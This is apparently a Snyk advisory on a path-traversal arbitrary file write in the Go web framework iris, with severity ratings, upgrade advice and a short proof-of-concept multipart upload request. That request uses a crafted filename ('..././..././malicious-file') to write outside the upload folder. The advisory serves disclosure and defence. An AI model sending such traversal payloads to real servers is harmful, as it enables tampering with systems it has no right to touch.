Arbitrary File Write Affecting github.com/kataras/iris/v12 Open this link in a new tab package, versions <12.2.0-alpha8


0.0
high
  • Attack Complexity

    High

  • Confidentiality

    High

  • Integrity

    High

  • Availability

    High

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  • snyk-id

    SNYK-GOLANG-GITHUBCOMKATARASIRISV12-2325170

  • published

    23 Dec 2021

  • disclosed

    23 Dec 2021

  • credit

    Snyk Security Team

How to fix?

Upgrade github.com/kataras/iris/v12 to version 12.2.0-alpha8 or higher.

Overview

github.com/kataras/iris/v12 is a fast, simple yet fully featured and very efficient web framework for Go.

Affected versions of this package are vulnerable to Arbitrary File Write. The unsafe handling of file names during upload using UploadFormFiles method may enable attackers to write to arbitrary locations outside the designated target folder.

PoC by Snyk

Based on the upload-files example.

POST /upload HTTP/1.1
Host: localhost:8080
Content-Type: multipart/form-data; boundary=----xxx
Connection: close
Content-Length: 151

------xxx Content-Disposition: form-data; name="uploadfile"; filename="..././..././malicious-file" Content-Type: text/plain

pwned

------xxx--

Note: the vulnerability is only possible in Go < 1.7.5 due to unsafe net/http behaviour.

References